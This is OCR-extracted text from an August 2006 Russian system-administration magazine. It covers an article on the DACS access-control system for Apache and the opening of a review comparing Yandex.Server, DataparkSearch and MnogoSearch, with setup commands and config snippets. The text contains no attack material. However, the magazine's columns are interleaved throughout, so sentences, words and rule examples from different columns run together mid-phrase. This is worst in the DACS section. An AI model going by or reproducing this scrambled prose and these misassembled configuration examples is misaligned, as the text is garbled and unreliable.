web вете. Все параметры, кроме последне- всей системы через некоторое время го, теоретически можно попробовать можно будет уже не говорить. либо угадать, либо подобрать, поэтому от алгоритма генерирования nonce Знакомство во многом зависит уникальность всей с системой DACS комбинации. Хотя здесь также воз- Система веб-аутентификации и упможны варианты. Например, включе- равления доступом DACS (Distributed ние в nonce метки времени позволя- Access Control System) представляет соет не только сделать ее уникальной, бой набор программ, позволяющих огно и контролировать время отклика, раничить доступ пользователей к люиспользование клиентского IP-адреса, бому ресурсу популярного веб-сервера откуда идут запросы, добавив счетчик Apache. Начало разработок датировано соединений и контролировать количес- маем 2001 года. Дизайном, внедрением тво запросов, сделанных конкретным и поддержкой занимается небольшая клиентом. К сожалению, современ- канадская фирма-разработчик DSS ные веб-серверы и браузеры пока еще (Distributed System Software) при содейсне полностью поддерживают все спе- твии Metalogic Software Corp. В настояцификации и рекомендации. Поэтому щее время DACS является ключевым если информация действительно име- компонентом канадской государственет ценность, то многие вопросы можно ной информационной системы (National решить, применив в защищаемой об- Forest Information System, NFIS). Последние версии DACS распроласти протокол SSL. Это взгляд со стороны сети. Ад- страняются под двойными лицензионминистрирование при использовании ными условиями: свободной и коммеркак basic, так и digest-методов мож- ческой. Если вы распространяете проно назвать простым, но только в слу- дукт, базирующийся на DACS, он долчае когда количество пользовате- жен быть Open Source, иначе вы должлей или защищаемых ресурсов отно- ны приобрести коммерческую лиценсительно мало. Для ограничения до- зию. Но если DACS просто используступа достаточно поместить в нуж- ется в работе, без распространения, ный каталог файл .htaccess и создать то коммерческая лицензия не нужна. файл с паролями при помощи htpasswd Но хотя DACS и может распространятьили htdigest. Если же каталогов мно- ся под Open Source-лицензией, проект го, лучше все описания собрать в од- таковым не является. За все разработном месте, т.е. файле конфигурации ки отвечает только небольшая группа, веб-сервера. хотя исправления от пользователей Еще одно отличие digest от basic- принимаются. метода заключается в том, что перПервоначальная задача, на решевый различает закрытые зоны (в пре- ние которой был ориентирован DACS, – делах сервера), и пользователю при это упрощение использования и адмипереходе между каталогами в одной нистрирования совместных веб-ресурзоне не надо повторно проходить про- сов с сохранением максимальной безоцедуру аутентификации. Вот и все воз- пасности. Используемая в DACS сисможности. Но сегодня не редка ситуа- тема аутентификации и авторизации ция, когда в одной компании имеется позволяет очень точно установить панесколько веб-серверов, которые рас- раметры доступа и отслеживать взаиположены в разных, подчас террито- модействие пользователей с сервером. риально разнесенных подразделени- Конструктивно DACS состоит из модуях, и управляемых разными админис- ля Apache (mod_auth_dacs), через котраторами. Пользователи в зависи- торый веб-сервер связывается с DACS, мости от своих обязанностей должны для определения разрешений доступа иметь доступ к строго определенным к ресурсу, блока программ CGI, обеспересурсам на каждом из них. Учитывая, чивающих веб-сервис DACS, и набора что работники компании могут перехо- утилит, выполняющих административдить из отдела в отдел, увольняться, ные и вспомогательные функции. Польадминистраторам придется согласо- зователи в системе DACS представлевывать все рабочие моменты по выда- ны тождествами (identity). При получе разрешений на доступ и удалению чении доступа к защищенной обласпользователей, иначе о безопасности ти он должен сначала идентифициро-
№8, август 2006
вать и удостоверить себя DACS. Обычно для этого применяется пара логин и пароль, но может быть использован цифровой сертификат или оба этих метода одновременно. Здесь пока ничего не обычного. Отличие заключается в том, что система доступа DACS осуществлена при помощи ролевой модели RBAC (role-based access control). Поэтому здесь логин не равен identity, пользователь может быть ассоциирован сразу с несколькими identity, и, наоборот, identity может описывать не только логин и системное имя (т.е. фактически имя процесса), но и другие параметры (роль, IP-адрес, группу и пр.). Правила контроля доступа, задаваемые администратором, позволяют точно указать кто, что и при каких условиях будет использовать ресурс. Поддерживается и анонимный, т.е. неавторизированный доступ к ресурсу.
Сredentials Пользователю, успешно прошедшему процедуру аутентификации, предоставляется криптографически защищенное удостоверение (credentials), которое является неким аналогом билета (tiket), используемого в системе Kerberos. Такое удостоверение в дальнейшем подтверждает полномочия пользователя. Внутри удостоверения может содержаться имя пользователя, роль, IP-адрес, с которого пользователь зарегистрировался и куда был отправлен credentials, и время жизни. Пароль, как видите, не входит в состав удостоверения. При такой схеме использование пароля внутри credentials не является необходимым. Для максимального удобства и лучшего взаимодействия credentials обычно возвращается пользователю в виде cookie, который по умолчанию использует спецификации Netscape, но при необходимости синтаксис можно изменить в конфигурационном файле специальной директивой COOKIE_SYNTAX. Передача credentials всегда происходит через SSL, что затрудняет его перехват и повторное использование. Куки являются основным и рекомендуемым способом, хотя в принципе могут быть использованы и дополнительные расширения HTTP, например, описанные в RFC 2617 посредством WWW-Authenticate, либо применены другие методы безопасной передачи
75
web (VPN). При этом в состав DACS входят утилиты, позволяющие самому создавать credentials, или получать их с вебсервера для использования другими (возможно, не веб-утилитами) приложениями. Учитывая, что credentials являются основой работы DACS, отношение к их безопасности самое серьезное. Так, например, кроме шифрования самой куки, отдельно контролируется отсутствие модификации при помощи хеша, где могут использоваться различные алгоритмы HMAC (Keyed-Hash Message Authentication Code), 160-бит NIST, SHA-1 или MD5. Ключ применяется отличный от используемого при шифровании самого удостоверения. Также кэш-каталог, в котором лежит текущий credentials, должен обязательно принадлежать тому же пользователю, на чье имя выписано удостоверение. И только он должен иметь доступ в используемый каталог. Если это не так, во избежание попытки использования credentials посторонним, он должен быть отвергнут. Аналогичная ситуация и при попытке отправить credentials, созданный для другого IP-адреса, при соответствующих настройках сервер его отвергнет и запросит повторную аутентификацию, и в том случае когда она пройдет успешно, создаст новый credentials с новыми параметрами. Хотя такой метод защиты, естественно, не подходит для тех случаев, когда адрес может изменяться (например, при модемном соединении) или пользователь находится за NAT. Запрещено также использовать одному identity несколько действительных credentials, такая ситуация вызовет ошибку. И, как уже говорилось, все credentials могут иметь ограниченное время жизни. По умолчанию оно не установлено, и администратору следует его подобрать и выставить самостоятельно, исходя из требований безопасности и удобства. Если максимальное время жизни не установлено, то в любом случае все credentials будут уничтожены, только после того как пользователь закроет окно браузера или нажмет на кнопку выхода. Если аутентификация закончилась не удачно, могут быть использованы различные обработчики. Поэтому DACS можно использовать для реакции на любые аварийные ситуации, например, перенаправляя незарегистрирован-
76
ных пользователей на страницу с лицензионным соглашением.
Юрисдикции и федерации Дальнейший разговор будет бесполезен, если не рассказать еще о двух центральных структурах в системе DACS. Для удобства управления доступом к ресурсам DACS различает два понятия: юрисдикция (jurisdiction) и федерация (federation). Юрисдикция является минимальной автономной областью, которая представляет веб-услуги и полностью отвечает за аутентификацию своих пользователей и за доступ к своим ресурсам. Территориально это может быть как веб-сервер целиком, так и его часть. Федерация является следующей ступенью и включает в себя одну (хотя если быть точнее, то две, так как понятие федерации в этом случае бессмысленно) или несколько юрисдикций. Все юрисдикции, принадлежащие одной федерации должны иметь уникальное имя. В пределах федерации все юрисдикции соглашаются соблюдать определенные правила, позволяющие сохранить безопасность и одновременно повысить удобство использования всей системы. В федерации используется единый для всех 128-битный (по умолчанию) симметричный AES-ключ, а все юрисдикции обмениваются информацией, позволяющей дешифровать, зашифровывать и контролировать целостность полученных credentials. Для пользователя (identity) это означает, что один раз подтвердив свои полномочия в юрисдикции, он может при наличии соответствующих разрешений без повторной регистрации получить доступ к ресурсу, находящемуся в другой юрисдикции одной федерации. Таким образом, DACS поддерживает режим однократной регистрации (SSO – single signon). Для администраторов упрощается поддержка сервиса, так как теперь он может следить за распределением ролей только в своей юрисдикции. Общее количество пользователей будет меньше, так как не надо заводить дополнительные акаунты на других серверах. Администратор доверенного сервера теперь будет решать, разрешать или запрещать доступ к своим ресурсам для определенных ролей, не вникая в подробности. Но это еще не все, начиная с версии 1.4.11 (март 2006) поя-
вился новый сервис dacs_auth_transfer, позволяющий передавать credentials не только между федерациями, но и другими, в том числе не-DACS-системами, умеющими оперировать identity. В терминологии DACS такие федерации называются присоединенными (affiliated) федерациями (хотя фактически передача происходит между юрисдикциями). При этом передача не обязательно должна быть взаимной т.е. можно свободно переходить из федерации А в Б, а наоборот необязательно. При передаче credentials конвертируется в новую форму, которая будет признана другой стороной, но оригинальные удостоверения у пользователя остаются и не изменяются. При возвращении пользователя в родную федерацию ему опять выдается credentials, но если выданный ранее еще не закончил своего действия, то он считается более сильным, а новый признается недействительным. Передача происходит при помощи SSL, тождество сервера проверяется при помощи сертификатов и IP-адреса. Так как имя пользователя содержит и название федерации, то при переходе в другую федерацию оно попрежнему остается уникальным.
Имена Поскольку пользователь может свободно перемещаться между федерациями и юрисдикциями без повторной аутентификации, имя играет большую роль в системе DACS. Кроме того, имя используется и для совместимости с различными методами аутентификации. Поэтому в DACS принято несколько вариантов присваивания имени. Имя текущей федерации описывается в конфигурационном файле dacs.conf в переменной FEDERATION_NAME. При работе формат такой: federation-name::
Имя юрисдикции задается при помощи JURISDICTION_NAME, но в правилах оно состоит из имени федерации, к которой она принадлежит, и имени юрисдикции: federation-name::jurisdiction-name:
Хотя для текущей федерации или отсутствии федераций ее имя может опускаться:
web ::jurisdiction-name:
Добавив третий компонент, получим имя пользователя: federation-name:: ↵ jurisdiction-name:username
Все имена чувствительны к регистру (если это не переопределено специальными директивами). Для удобства федерации и юрисдикции пишутся заглавными буквами, а пользователи – маленькими. Например, в credentials имя заносится в таком виде: HOME::SALES:boss
А можно и так: ::SALES:boss SALES:boss :boss
и к группам, определенным другими юрисдикциями. Например, такие пользователи в правилах будут легитимными: user user user user user user user user
name="SALES:boss" name="%SALES:admin" name="10.0.0.118" name="192.168.0.0/24" name="home.com" name="HOME:" name="auth" name="unauth"
Последние два правила описывают соответственно авторизированного и неавторизированного пользователей. Обратите внимание, что вот такие правила не равнозначны: user name="auth" user name="HOME:auth"
ля ACS производит поиск правил, соответствующих его тождеству. Здесь может быть применено несколько вариантов правил. Иногда администратору нужно быстро произвести какое то действие, не обращаясь к правилам. Чаще всего необходимость такая возникает во временном отключении пользователя или целого участка сети. Для этих целей в DACS применяется т.н. revocation list. Такой список состоит из линий, в каждой описан пользователь (все правила, указанные выше, естественно, и здесь соблюдаются) и действие. Действий предусмотрено всего два: deny и revoke. Первое означает запрет доступа и окончание дальнейшей обработки revocation list. Второе игнорирует полученное удостоверение, делая пользователя фактически неавторизованным, обработка списка при этом продолжается. Например: Запрет доступа неаутентифицированных пользователей:
Первое соответствует всем успешно зарегистрировавшимся пользователям, второе только принадлежащим В имени не должны встречаться к юрисдикции HOME. Если использовать пользоватезнаки «* , : + ( ) ~ < > = | \ /» и «"». Все остальные разрешены. Длина имен не ля any, то запрос о соответствии имеограничена, здесь просто стоит под- ни в проверяемом правиле всегда буходить к процессу творчески, чтобы дет возвращать true. Также поддержиdeny user("unauth") при большом количестве юрисдик- ваются и некоторые операции. Наприций и федераций можно было понять, мер, такой конструкцией можно выдео ком речь. Имя пользователя при за- лить всех пользователей admin любой Сброс всех удостоверений: просах передается как переменная юрисдикции: revoke user("any") DACS_USERNAME. user name="*:admin" Но это в credentials. В правила в параметр user могут быть занесены групЗапрет доступа на выходные: пы, IP-адреса, сети и под сети. Имена или всем, кроме пользователя sergej: deny time("wday") eq 6 or ↵ группы образуются аналогично польtime("wday") eq 0 user("not *:sergej") зовательским, только на первом месте должен стоять знак процента %. Сброс всех удостоверений кроМожно задавать и более развет- ме полученных из внутренней сети, %HOME::SALES:friends вленные конструкции, список всех т.е. пользователь из внешней всегда %::SALES:friends поддерживаемых операторов найде- будет анонимным: %SALES:friends %:friends те в документации. revoke not from("192.168.1.0/24") Например, для всех не sergej и неПонятие группы в контексте DACS авторизованных список будет выгляимеет двойное значение. С одной деть так: После того как будет обработан стороны, это списки пользователей revocation list, модуль ведет просмотр user("not *:sergej and noauth") в обычном понимании, с другой стоправил контроля дост упа. Типичроны, здесь могут быть указаны роли, ное правило состоит из двух частей – под которыми здесь понимают инфорПри создании более сложных конс- services и rule – и должно быть интуимацию о членстве конкретного пользо- трукций можно создавать списки поль- тивно понятно. вателя в группах. В юрисдикции можно зователей (user_list). <acl_rule> определить любое количество групп, <services> на которые можно ссылаться в груп- Правила контроля доступа <service url_pattern= ↵ "/cgi-bin/*"/> пах и правилах в других юрисдикци- Компонентом, отвечающим за получе</services> ях. То есть когда DACS нужно решить, ние решений о доступе, является сер<rule order="allow,deny"> к какой группе принадлежит сделав- вис контроля доступа DACS (access <allow> ший запрос пользователь, система control service – ACS). Реализован user("auth") </allow> обращается к локальным группам, ро- при помощи программы dacs_acs. Пос</rule> ли, соответствующей пользователю, ле успешной авторизации пользовате</acl_rule>
№8, август 2006
77
web Кроме того, DACS предоставля- DACS, для генерирования credentials альности. DACS может быть установет возможность делегировать права используется команда autologin, ко- лен в принципе на любую UNIX-платна определенный ресурс другому поль- торая позволяет DACS использовать форму, где можно найти работающий любой из существующих методов ау- компилятор GCC 3.3/3.4. зователю. Выглядит это так: На сайте дается информация, тентификации Apache при сохранении <delegate url_pattern="/cgi-bin ↵ простоты конфигурации. Кроме того, что DACS успешно протестирован с та/myprog" rule_uri="my_acls"/> начиная с версии 1.4.13, DACS подде- кими дистрибутивами и платформарживает еще одну систему аутенти- ми CentOS (Red Hat Enterprise) Linux фикации Central Authentication Service (AMD64), Solaris 10 (SunOS 5.10, x86), Возможности (CAS), разрабатываемую проектом FreeBSD 5.X и 6.X (i686) и частично испо аутентификации Управление аутентификацией пользо- JA-SIG [5]. Кратко сервер CAS позво- пытана с Cygwin. Я собирал систему вателя является еще одной из сильных ляет реализовать режим однократной DACS на ALTLinux 3.0 и Slackware 10.1. сторон системы безопасности DACS. регистрации всем легальным пользо- На клиентской стороне не требуется Непосредственно за аутентификацию вателям для доступа к любому ресур- установки специфичного программноотвечает юрисдикция, которой прина- су (web, почта и пр.) путем реализа- го обеспечения. длежит пользователь и который, ес- ции режима прокси-аутентификации, тественно, должен быть ей известен. посредством ticket (эта система силь- Что имеем? В разных юрисдикциях в пределах но напоминает Kerberos). CAS также Из всего сказанного можно сделать федерации не обязательно использо- поддерживает все доступные сегод- вывод о том, что система DACS облавать один и тот же способ аутентифи- ня варианты аутентификации. Кроме дает достаточно мощными возможноскации. Администратор сам волен вы- того, как уже говорилось, можно со- тями при достаточной гибкости в набирать наиболее подходящий способ здать более тонкое описание пара- стройках. Правда, для администратоили их комбинацию, исходя из конк- метров доступа к ресурсам, в зависи- ра это означает, что придется провесретных условий. При этом DACS уже мости от IP-адреса, доменного имени, ти не один час за первоначальной наимеет встроенные модули аутенти- даты и времени суток, используемого стройкой всей системы. Имеет смысл фикации, но при необходимости мож- метода аутентификации, расширения использовать DACS в том случае, когно использовать и имеющие в веб-сер- файла и прочих параметров. То есть да необходимо организовать доступ фактически задать персональные па- пользователей к нескольким сервевере Apache. Для обмена данными между сер- раметры для доступа к любому ресур- рам. Затраты на установку и настройвисом аутентификации DACS и мо- су. После успешной регистрации на ос- ку затем с лихвой окупятся простотой дулем аутентификации используется новании данных пользователя (имени, сопровождения. Также, вероятно, имеXML-протокол. Модуль аутентифика- группы, роли и т. д.) могут быть выпол- ет смысл использовать DACS для тоции сообщает DACS об успешной ау- нены некоторые действия, например, го, чтобы унифицировать различные тентификации и имени пользователя перенаправление на определенную схемы аутентификации. Проект пре(через переменную REMOTE_USER), веб-страницу, необходимые для этого доставляет большое количество допользователь Apache при этом авто- параметры сохранены в переменной кументации, которая, по моему мнематически преобразуется в пользо- AUTH_SUCCESS_HANDLER. Все за- нию, несколько запутанна, хотя, вевателя DACS. DACS расширяет стан- просы регистрируются в контрольном роятно, это связано с наличием мнодартные возможности по аутентифи- журнале. гочисленных понятий и вариантов накации Apache. Так DACS может удосстроек. В документе «DACS Quick Start Tutorial» сказано, что тестовую конфитоверить пользователя, используя не- Совместимость и требования сколько методов: гурацию можно собрать всего за 30 сертификат X.509 (через SSL); Актуальной на момент написания ста- минут. Так ли это? Проверим в следу паролей UNIX или Apache (создан- тьи является версия 1.4.13а с датой ре- ющий раз. Успехов. ных утилитами htpasswd, htdbm лиза 2 июня 2006. Буква «а» появилась или htdigest); в результате небольшого недоразуме Windows NT LAN Manager (NTLM); ния, когда после релиза 1.4.13, состо- 1. Мичурин А. Базовая HTTP-авториза Microsoft Active Directory или LDAP; явшегося днем раньше, была обнаруция – защита от честных людей //«Сис системы Pluggable Authentication жена ошибка, при определенных оптемный администратор», № 5, 2005 г. – Modules (PAM); циях завершающая конфигурироваС. 88 – 92. собственной базы логинов и паро- ние с ошибкой (Invalid boolean result 2. Мичурин А. В чем сильные и слабые value). Если DACS используется для лей; стороны HTTP digest-авторизации тождества установленного любым веб-аутентификации то для его уста//«Системный администратор», № 10, модулем аутентификации Apache; новки потребуется Apache 2.0.х (жела2005 г. – С. 44-51. тельна последняя версия 2.0.58) и на- 3. Сайт DSS – http://www.dss.ca. внешней программы; чиная с 1.4.13а уже возможно исполь- 4. Сайт National Forest Information System – комбинируя стили. зование Apache 2.2. Поддержка верhttp://www.nfis.org. Basic- и digest-аутентификация мо- сии 1.3 уже закончена, как говорят раз- 5. Сайт проекта CAS – http://www.ja-sig. жет обрабатываться непосредственно работчики, по причине малой ее актуorg/products/cas/index.html.
78
web
Тестируем движки поисковых машин
Иван Максимов Большинство из вас каждый день пользуется поисковыми машинами в Интернете. Какие они изнутри? Чем они отличаются?
Р
азные компании, разрабатыва- 2500+, 512 DDR 3200 (DUAL), HDD поративные, предназначенные для рающие поисковые движки, пыта- 160 Гб WesternDigital SATA (8 Мб кэш, боты с множеством клиентов и группой ются занять ниши на рынке, кто- 7200 оборотов). Именно этот докумен- ресурсов. К ним можно отнести расто совершенствует пользовательский тооборот мы и будем индексировать. сматриваемые далее движки Yandex. интерфейс, другие заботятся о скоро- Возможно, кто-то задастся вопросом: Server, DataparkSearch, Mnogosearch, сти работы и функциональности, тре- «Мы рассматриваем движки поиско- ASPseek и htdig. Вторые – пользоватьи пытаются охватить все популярные вых машин, почему бы не тестировать тельские, предназначенные для обплатформы, а другие собирают все пе- их на реальных внешних ресурсах, на- легчения поиска информации на комречисленные возможности. Некото- пример на www.samag.ru?» Сделано пьютере пользователя. В связи с тем, рые разработчики поисковых движков это для того, чтобы максимально не за- что пользовательские движки поисконе выдерживают конкуренции и выхо- висеть от пропускной способности ка- вых машин под ОС Linux плохо освещедят из борьбы, иные переходят частич- нала. Поисковые машины будут уста- ны в Интернете, и для полноты картино или полностью на «коммерческие навливаться на практически идентич- ны данного обзора я также рассмотрю рельсы». Надеюсь, обзор прольет свет ную машину, расположенную в данной движок Beagle (как наиболее «сильнона некоторые проекты, продемонстри- сети. Пропускная способность локаль- го» представителя группы). рует их преимущества и недостатки ной сети 100 Мб (half duplex). в различных задачах. Все движки будут тестировать- Yandex.Server ся с максимально едиными услови- Известный многим движок поисковой Задача. Файловый сервер ями, но все же отличными. Связано машины Яндекс – коммерческий проВ сети имеется файловый сервер под это с тем, что разные движки облада- ект. Для ознакомления существует управлением ОС Linux. Для совмести- ют различным функционалом, инстру- shareware-версия движка, которую мы мости с различными задачами на сер- ментарием, некоторые иногда в чем-то и рассмотрим. К сожалению, пробная вере установлены популярные пакеты ограничены (коммерческие версии). версия во многом ограничена. Установить движок можно под опеsamba и proftpd. Количество докумен- В конце обзора каждого движка будут тов – около 2 тысяч (занимаемый раз- даны примерные сравнительные ха- рационные системы FreeBSD, Linux, Solaris, Windows. По заявлениям мер на диске примерно 1,5 Гб), раз- рактеристики. Итак, приступим к обзору, уста- разработчиков, при заказе версии личных форматов (txt, html, doc, xls, rtf), используется файловая система новке, конфигурированию и сравне- Professional возможно портирование движка практически под любую платreiserfs (3-я версия). Отмечу, что боль- нию движков. шая часть документов (около 80-85%) форму заказчика. состоит из форматов MS Excel (xls) Обзор поисковых машин Рассмотрим установку движка под и MS Word (doc). Аппаратное обеспе- Движки поисковых машин можно от- Linux из tgz-архива. Скопируем и рачение файлового сервера: AMD Athlon нести к двум категориям. Первые – кор- зархивируем Яndex.Server Standard.
80
web Распаковывать архив лучше в корень диска: gzip -d name.tgz / tar -xvf name.tar /
Движок сконфигурирован на работу в директориях /etc/rc.d/inid.d, /usr/local/yandex и /usr/local/sbin/yandex. Если вам необходимо расположить все файлы в удобном для вас месте, отредактируйте параметры рабочих директорий WORK_DIR и YANDEX в файле yandex.sh. Первое, что сразу бросается в глаза после установки, – отсутствие исходных кодов столь привычных пользователям открытых систем. Заглянем в файл конфигурации yandex.cfg.dist (расположенный в папке движка). Все комментарии на русском языке, никаких проблем возникнуть не должно. Файл разделен на две секции server (параметры работы серверной части движка) и collection (параметры индексирования). Для начала работы движка необходимо создать файл yandex.cfg из файла шаблона yandex.cfg.dist и отредактировать параметры в секции collection: StartUrls (индексируемый ресурс) и IndexLog (запись результатов индексирования), а в секции server – Serverlog (запись отчета работы сервера). По умолчанию многие подсекции закомментированы, допустим, для индексации text/plain формата нужно удалить в подсекции DocFormat символы <!-- и --> (или закомментировать их символом #). Добавим форму поиска на заглавную страницу нашего apach сервера (см. рис. 1): <FORM METHOD=GET ACTION="http://HOST:17000/"> <INPUT TYPE="text" NAME="text" VALUE=""> <INPUT TYPE="submit" VALUE="Search"> </FORM>
Рисунок 1. Примеры форм поисковых движков
Рисунок 2. Администрирование Yandex.Server
вертированы пакетами catdoc и unrtf в формат txt. Итак, индексирование 2000 документов (text/plain) объемом 170 Мб заняло чуть менее 2 минут. Очень впечатляющая скорость, но есть подозрения, что обработка тех же файлов в их исходных форматах (xls, doc, rtf их объем в 5-7 раз больше) займет время, пропорциональное размеру файлов, плюс время работы внешнего модуля (парсета). Время поиска по базе также феноменально – менее секунды.
DataparkSearch
HOST – имя ресурса с Yandex-сервером. Теперь поиск до- В статье «Возможности поискового движка DataparkSearch» [8] мы уже рассматривали установку поисковой машиступен для пользователей нашей локальной сети. И та к, п р о г р а м м а н ас т р о е н а, з а п ус т и м с к р и п т ны, поэтому я коснусь лишь новых моментов, появивших«yandex.sh start» и зайдем на ресурс http://localhost:17000/ ся в движке. Последняя стабильная версия (на момент наadmin (см. рис. 2). Перед нами появится веб-интерфейс, писания статьи) 4.40.1, версия снапшота 4.41 от 16.07.2006, состоящий всего из трех основных функций: запуска ин- как уже было отмечено, обновление и исправление движдексирующего «паука», открытия доступа пользовате- ка происходят достаточно оперативно. Какие интересные лям к поисковый машине и остановки Yandex.Server. Ес- и полезные функции были добавлены после версии 4.38? ли все настройки были выполнены правильно, можно на- Была улучшена работа движка в режиме cache, добавчать индексирование и запускать поиск для пользовате- лена возможность сборки модуля mod_dpsearch для вебсервера Apache без пересборки всего движка. Последлей (см. рис. 3). Хотелось бы отметить, что проблем и неудобств в кон- нее нововведение было сделано в связи с тем, что мнофигурировании движка не возникало. Простая настройка гие пользователи вначале конфигурируют поисковый двии качественная документация – это несомненно огромные жок для работы без модуля, а позже, желая достичь макплюсы. Также к преимуществам относится высокая ско- симальной производительности (или просто «посмотреть, рость движка: время индексации и поиска осуществляет- как это работает»), пересобирают весь движок для полуся в очень короткое время, но об этом позже. Неприятным чения mod_dpsearch. На данный момент некоторые нововмоментом оказалось то, что в shareware-версии достаточ- ведения не вошли в официальную документацию движка, но много ограничений, например, нет возможности редак- поэтому ниже будет приведен пример компиляции модуля тировать файл результатов поиска, как и добавление до- для веб-сервера Apache. Раз уж зашел разговор о докуполнительных модулей (парсетов) для обработки иных ти- ментации, отмечу, что на веб-сайте проекта выложена документация по версии движка 4.39, в самом же дистрибупов файлов (doc, xls, rtf и другие). Так как в shareware-версия движка нет возможности ин- тиве находится обновленная для последней версии 4.41, дексировать форматы, отличные от HTML и text plain для так что будьте внимательны. Итак, чем же достигается большая скорость работы проведения тестирования по скоростным характеристикам и получения «чисел», все xls-, doc-, rtf-документы были кон- движка за счет данного модуля? mod_dpsearch совмещает
№8, август 2006
81
web
Рисунок 3. Пример результата поиска Yandex.Server
в себе функции searchd и search.cgi. Первый хранит в памяти некоторые загруженные данные, без него движок каждый раз при запросах будет читать информацию с диска. Второй файл – скрипт поиска и выборки информации из СУБД, как правило, каждый раз загружается с жесткого диска. Модуль хранит большинство данных в памяти, а не подгружает постоянно с жесткого диска нужную информацию, за счет этого и достигается большая эффективность движка. Рассмотрим теперь конфигурирование. После распаковки движка запустим конфигуратор не скриптом мастером установки (install.pl), а иначе: # ./configure –enable-apachecacheonly
Далее компиляция происходит стандартными командами «make && make install». Новоиспеченный откомпилированный модуль будет располагаться вместе с остальными модулями веб-сервера в папке /etc/httpd/modules/ (или /etc/httpd/libexec/). Теперь добавим в файл конфигурации apach сервера (скорее всего /etc/httpd/conf/httpd.conf) информацию о модуле: # Директивы загрузки LoadModule dpsearch_module AddModule mod_dpsearch.c
modules/mod_dpsearch.so
# Конфигурационные файлы модуля <Ifmodule mod_dpsearch.c> DataparkSearchdConf /usr/local/dpsearch/etc/modsearchd.conf <Location /search> SetHandler dpsearch DataparkSearchTemplate ↵ /usr/local/dpsearch/etc/modsearch.htm </Location> <Location /storedoc> SetHandler dpstoredoc DataparkStoredocTemplate ↵ /usr/local/dpsearch/etc/modstoredoc.htm </Location> </IfModule>
Как вы видите, конфигурационные файлы – это копии файлов без приставки «mod», расположенных в директории etc движка, достаточно просто скопировать их и все, модуль готов к работе. Так как примеры конфигурационных файлов были описаны в предыдущей статье, не буду
82
к ним возвращаться, также напомню, что не стоит забывать про штатную документацию движка. Запустим веб-сервер командой «service httpd start», обратимся по адресу localhost/search, перед нами появится форма поиска движка DataparkSearch. Отмечу, что сами разработчики рекомендуют для наибольшей эффективности работы комплекса использовать именно mod_search совместно с режимом хранения cache. В предыдущей статье уже были представлены скоростные характеристики движка, но для примерного сравнения все же повторюсь, индексирование примерно 2000 файлов (txt, html, doc, xls, rtf) в режиме хранения данных cache занимает примерно 30 минут. При добавлении модуля mod_search скорость поиска практически не выросла, около одной секунды. Возможно, при большем количестве данных и построении сложных поисковых запросов эффективность от использования модуля для сервера Apache будет более наглядна.
MnogoSearch MnogoSearch[3] – это многим известный и распространенный движок, входящий в комплект некоторых дистрибутивов Linux. Возможна установка движка под Windows и Linux/BSD-платформы в «связке» с различными SQL СУБД (MS Access, MySQL, PostgreSQL, Interbase, MS SQL, Oracle и другие). При первом взгляде на MnogoSearch сразу бросается в глаза схожесть с его клоном – DataparkSearch, но это не совсем так. Ознакомившись с функционалом и настройками данной поисковой машины, вы в этом убедитесь. Для работы понадобится MySQL и веб-сервер Apache. После распаковки архива движка вы видите уже знакомый нам файл install.pl (мастер конфигурирования), запустим его и ответим на все необходимые вопросы, такие как выбор пути установки движка, SQL СУБД и другие. Далее откомпилируем движок стандартными командами «make && make install». Перейдем в дирректорию с установленным движком. Первое, что можно заметить, – практически идентичность папок и файлов с DataparkSearch, даже при беглом осмотре конфигурационных файлов (indexer.conf и search.htm) это мнение усиливается. Сразу хочу предупредить пользователей, работающих с DataparkSearch, не следует копировать конфигурационные файлы в MnogoSearch, при кажущейся однотипности движки очень разные. Конечно, из эксперимента можно сделать так – переписывать, переконфигурировать и добавлять информации придется много, намного проще взять готовые шаблоны файлов MnogoSearch и исправить параметры под свои задачи. Но мы отвлеклись, продолжим настройку. Создадим базу данных в MySQL командой: sh$ mysqladmin create search
web Если у вас не создан пользователь в MySQL, то создайте его: sh$mysql --user=root mysql mysql> GRANT ALL PRIVILEGES ON *.* TO пользователь@localhost IDENTIFIED BY 'пароль' WITH GRANT OPTION; exit
Для минимальной конфигурации движка необходимо indexer.conf-dist (шаблон, находящийся в папке etc относительно движка) переименовать в indexer.conf и изменить некоторые параметры. Первое и необходимое – указываем используемую СУБД, имя и пароль пользователя в MySQL, название базы данных и используемый режим хранения данных (о dpmode будет рассказано позже). DBAddr mysql://пользователь:пароль@localhost/search/ ↵ ?dbmode=режим
Так как мы будем индексировать txt-, html-, doc-, xls-, rtf-файлы, то закомментируйте строки, запрещающие их индексацию: #Disallow *.tex *.texi *.xls *.doc *.texinfo #Disallow *.rtf *.pdf *.cdf *.ps
Также необходимо расскомментировать три строки, отвечающие за конвертацию офисных форматов в формат text, понятный MnogoSearch: Mime application/msword "text/plain; ↵ charset=utf-8" "catdoc -a -dutf-8 $1" Mime application/vnd.ms-excel text/plain Mime "text/rtf*" text/html ↵ "rthc --use-stdout $1 2>/dev/null"
"xls2csv $1"
установить до начала индексации. Если необходимо обрабатывать иные типы файлов, то нужно установить и другие парсеты (пакеты), более подробно мы говорили о них в предыдущей статье, поэтому не будем рассматривать этот вопрос (информацию с некоторыми примерами о парсетах можно также найти в документации). Второй файл конфигурации – это search.htm, состоит из двух основных блоков, первый содержит данные для скрипта search.cgi, второй – дизайн шаблона вывода информации. Необходимо изменить параметр DBAddr, он должен совпадать с таким же в indexer.conf DBAddr mysql://пользователь:пароль@localhost/searchmn/ ↵ ?dbmode=режим
Если указанные параметры будут иными, движок вместо вывода искомой информации сообщит вам о соответствующей ошибке. Это наиболее распространенная ошибка при конфигурировании движка, поэтому будьте внимательны. Скопируем search.cgi из директории bin движка в директорию cgi-bin веб-сервера и пропишем форму для вызова скрипта в index.shtml: <FORM METHOD=GET ACTION="/cgi-bin/search.cgi"> <INPUT TYPE="text" NAME="q" VALUE=""> <INPUT TYPE="submit" VALUE="Search"> </FORM>
Минимальное конфигурирование выполнено, можно создать SQL-таблицы и начать индексацию. Команда: ./indexer -Ecreate
И последнее – укажем индексируемый ресурс: Server ftp://192.168.0.11/
создаст все необходимые записи в MySQL, если появились сообщения об ошибке – внимательно посмотрите выходную информацию выше, чаще всего это ошибки об отсутствии доступа.
